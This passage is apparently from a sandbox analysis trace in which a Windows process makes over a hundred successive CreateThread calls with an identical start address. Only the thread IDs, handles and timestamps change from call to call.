lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd48) returned 0x314 [0113.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x90c) returned 0x318 [0113.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd28) returned 0x31c [0113.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd1c) returned 0x320 [0113.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x7a8) returned 0x324 [0113.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd6c) returned 0x328 [0113.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4d0) returned 0x32c [0113.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x388) returned 0x330 [0113.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf8c) returned 0x334 [0113.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4c8) returned 0x338 [0113.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4f0) returned 0x33c [0113.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x798) returned 0x340 [0113.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf6c) returned 0x344 [0113.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x910) returned 0x348 [0113.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x738) returned 0x34c [0113.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe64) returned 0x350 [0113.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc38) returned 0x354 [0113.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xddc) returned 0x358 [0114.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb60) returned 0x35c [0114.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xdf8) returned 0x360 [0114.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf70) returned 0x364 [0114.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfa8) returned 0x368 [0114.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x344) returned 0x36c [0114.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf78) returned 0x370 [0114.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe98) returned 0x374 [0114.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1004) returned 0x378 [0114.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1008) returned 0x37c [0114.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1010) returned 0x380 [0114.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1014) returned 0x384 [0114.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1018) returned 0x388 [0114.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x101c) returned 0x38c [0114.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1020) returned 0x390 [0114.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1024) returned 0x394 [0114.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1028) returned 0x398 [0114.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x102c) returned 0x39c [0114.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1030) returned 0x3a0 [0114.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1034) returned 0x3a4 [0114.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1038) returned 0x3a8 [0114.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x103c) returned 0x3ac [0114.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1040) returned 0x3b0 [0114.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1044) returned 0x3b4 [0114.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1048) returned 0x3b8 [0114.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x104c) returned 0x3bc [0114.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1050) returned 0x3c0 [0114.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1054) returned 0x3c4 [0114.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1058) returned 0x3c8 [0114.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x105c) returned 0x3cc [0114.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1060) returned 0x3d0 [0114.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1064) returned 0x3d4 [0114.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1068) returned 0x3d8 [0114.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x106c) returned 0x3dc [0114.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1070) returned 0x3e0 [0114.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1074) returned 0x3e4 [0114.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1078) returned 0x3e8 [0114.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x107c) returned 0x3ec [0114.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1080) returned 0x3f0 [0114.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1084) returned 0x3f4 [0114.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1088) returned 0x3f8 [0114.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x108c) returned 0x3fc [0114.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1090) returned 0x404 [0114.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1094) returned 0x408 [0114.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1098) returned 0x40c [0114.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x109c) returned 0x410 [0114.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10a0) returned 0x414 [0114.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10a4) returned 0x418 [0114.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10a8) returned 0x41c [0114.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10ac) returned 0x420 [0114.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10b0) returned 0x424 [0114.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10b4) returned 0x428 [0114.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10b8) returned 0x42c [0114.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10bc) returned 0x430 [0114.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10c0) returned 0x434 [0114.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10c4) returned 0x438 [0114.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10c8) returned 0x43c [0114.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10cc) returned 0x440 [0114.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10d0) returned 0x444 [0114.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10d4) returned 0x448 [0114.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10d8) returned 0x44c [0114.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10dc) returned 0x450 [0114.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10e0) returned 0x454 [0114.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10e4) returned 0x458 [0114.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10e8) returned 0x45c [0114.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10ec) returned 0x460 [0114.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10f0) returned 0x464 [0114.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10f4) returned 0x468 [0114.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10f8) returned 0x46c [0114.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x10fc) returned 0x470 [0114.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1100) returned 0x474 [0114.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1104) returned 0x478 [0114.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1108) returned 0x47c [0114.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x110c) returned 0x480 [0114.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1110) returned 0x484 [0114.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1114) returned 0x488 [0114.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1118) returned 0x48c [0114.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x111c) returned 0x490 [0114.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1120) returned 0x494 [0114.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1124) returned 0x498 [0114.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1128) returned 0x49c [0114.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x112c) returned 0x4a0 [0114.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1130) returned 0x4a4 [0114.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1134) returned 0x4a8 [0114.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1138) returned 0x4ac [0114.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x113c) returned 0x4b0 [0114.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1140) returned 0x4b4 [0114.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1144) returned 0x4b8 [0114.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1148) returned 0x4bc [0114.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x114c) returned 0x4c0 [0114.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1150) returned 0x4c4 [0114.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1154) returned 0x4c8 [0114.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1158) returned 0x4cc [0114.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x115c) returned 0x4d0 [0114.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1160) returned 0x4d4 [0114.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1164) returned 0x4d8 [0114.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1168) returned 0x4dc [0114.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x116c) returned 0x4e0 [0114.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1170) returned 0x4e4 [0114.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1174) returned 0x4e8 [0114.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1178) returned 0x4ec [0114.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x117c) returned 0x4f0 [0114.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1180) returned 0x4f4 [0114.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1184) returned 0x4f8 [0114.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1188) returned 0x4fc [0114.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 